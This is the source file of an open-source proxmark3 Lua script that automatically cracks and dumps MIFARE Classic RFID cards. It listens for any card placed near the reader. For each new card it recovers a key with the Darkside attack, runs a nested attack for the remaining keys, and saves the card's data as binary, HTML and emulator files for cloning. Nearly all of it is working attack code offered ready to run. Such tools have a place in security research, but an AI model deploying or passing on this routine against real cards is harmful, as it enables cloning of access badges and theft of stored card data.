CHG: changed to use BigBuff_Eml memory instead of big_buff_malloc.

[proxmark3-svn] / client / scripts / mifare_autopwn.lua

local getopt = require('getopt')
local reader = require('read14a')
local cmds = require('commands')

example = "script run mifare_autopwn"
author = "Martin Holst Swende"


desc =
[[
This is a which automates cracking and dumping mifare classic cards. It sets itself into 
'listening'-mode, after which it cracks and dumps any mifare classic card that you 
place by the device. 

Arguments:
        -d                              debug logging on
        -h                              this help

Output files from this operation:
        <uid>.eml               - emulator file
        <uid>.html              - html file containing card data
        dumpkeys.bin    - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
        dumpdata.bin    - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it. 

]]

-------------------------------
-- Some utilities 
-------------------------------
local DEBUG = false
local MIFARE_AUTH_KEYA = 0x60
local MIFARE_AUTH_KEYB = 0x61
--- 
-- A debug printout-function
function dbg(args)
        if DEBUG then
                print(":: ", args)
        end
end 
--- 
-- This is only meant to be used when errors occur
function oops(err)
        print("ERROR: ",err)
        return nil,err
end

--- 
-- Usage help
function help()
        print(desc)
        print("Example usage")
        print(example)
end

---
-- Waits for a mifare card to be placed within the vicinity of the reader. 
-- @return if successfull: an table containing card info
-- @return if unsuccessfull : nil, error
function wait_for_mifare()
        while not core.ukbhit() do
                res, err = reader.read1443a()
                if res then return res end
                -- err means that there was no response from card
        end
        return nil, "Aborted by user"
end

function mfcrack()
        core.clearCommandBuffer()
        -- Build the mifare-command
        local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
        
        local retry = true
        while retry do
                core.SendCommand(cmd:getBytes())
                local key, errormessage = mfcrack_inner()
                -- Success?
                if key then return key end
                -- Failure? 
                if errormessage then return nil, errormessage end
                -- Try again..set arg1 to 0 this time. 

                cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0, arg2 = 0, arg3 = MIFARE_AUTH_KEYA}
        end     
        return nil, "Aborted by user"
end

function mfcrack_inner()
        while not core.ukbhit() do              
                local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
                if result then

                        --[[
                        I don't understand, they cmd and args are defined as uint32_t, however, 
                        looking at the returned data, they all look like 64-bit things: 

                        print("result", bin.unpack("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH", result))

                        FF      00      00      00      00      00      00      00      <-- 64 bits of data
                        FE      FF      FF      FF      00      00      00      00      <-- 64 bits of data
                        00      00      00      00      00      00      00      00      <-- 64 bits of data
                        00      00      00      00      00      00      00      00      <-- 64 bits of data
                        04      7F      12      E2      00             <-- this is where 'data' starts

                        So below I use LI to pick out the "FEFF FFFF", don't know why it works.. 
                        --]]
                        -- Unpacking the arg-parameters
                        local count,cmd,isOK = bin.unpack('LI',result)
                        --print("response", isOK)--FF FF FF FF
                        if isOK == 0xFFFFFFFF then
                                return nil, "Button pressed. Aborted."
                        elseif isOK == 0xFFFFFFFE then
                                return nil, "Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
                        elseif isOK == 0xFFFFFFFD then
                                return nil, "Card is not vulnerable to Darkside attack (its random number generator is not predictable). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
                        elseif isOK == 0xFFFFFFFC then
                                return nil, "The card's random number generator behaves somewhat weird (Mifare clone?). You can try 'script run mfkeys' or 'hf mf chk' to test various known keys."
                        elseif isOK ~= 1 then 
                                return nil, "Error occurred" 
                        end


                        -- The data-part is left
                        -- Starts 32 bytes in, at byte 33
                        local data = result:sub(33)

                        -- A little helper
                        local get = function(num)
                                local x = data:sub(1,num)
                                data = data:sub(num+1)
                                return x
                        end

                        local uid,nt,pl = get(4),get(4),get(8)
                        local ks,nr = get(8),get(4)

                        local status, key = core.nonce2key(uid, nt, nr, pl, ks)
                        if not status then return status,key end

                        if status > 0 then 
                                print("Key not found (lfsr_common_prefix problem)")
                                -- try again
                                return nil,nil
                        else
                                return key
                        end
                end
        end
        return nil, "Aborted by user"
end

function nested(key,sak)
        local typ = 1
        if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
                typ = 4
        elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
                typ= 1
        elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
                typ = 0
        elseif  0x10 == sak then-- "NXP MIFARE Plus 2k"
                typ = 2
        elseif  0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
                typ = 1
        else
                print("I don't know how many sectors there are on this type of card, defaulting to 16")
        end
        local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
        core.console(cmd)
end

function dump(uid)
        core.console("hf mf dump")
        -- Save the global args, those are *our* arguments
        local myargs = args
        -- Set the arguments for htmldump script
        args =("-o %s.html"):format(uid)
        -- call it 
        require('../scripts/htmldump')

        args =""
        -- dump to emulator
        require('../scripts/dumptoemul')
        -- Set back args. Not that it's used, just for the karma... 
        args = myargs
end

--- 
-- The main entry point
function main(args)

        local verbose, exit,res,uid,err,_,sak
        local seen_uids = {}
        local print_message = true
        -- Read the parameters
        for o, a in getopt.getopt(args, 'hd') do
                if o == "h" then help() return end
                if o == "d" then DEBUG = true end
        end

        while not exit do
                if print_message then
                        print("Waiting for card or press any key to stop")
                        print_message = false
                end
                res, err = wait_for_mifare()
                if err then return oops(err) end
                -- Seen already?
                uid = res.uid
                sak = res.sak
                if not seen_uids[uid] then
                        -- Store it
                        seen_uids[uid] = uid
                        print("Card found, commencing crack on UID", uid)
                        -- Crack it
                        local key, cnt
                        res,err = mfcrack()
                        if not res then return oops(err) end
                        -- The key is actually 8 bytes, so a 
                        -- 6-byte key is sent as 00XXXXXX
                        -- This means we unpack it as first
                        -- two bytes, then six bytes actual key data
                        -- We can discard first and second return values
                        _,_,key = bin.unpack("H2H6",res)
                        print("Found valid key: "..key);

                        -- Use nested attack
                        nested(key,sak)
                        -- Dump info
                        dump(uid)
                        print_message = true
                end
        end
end

-- Call the main 
main(args)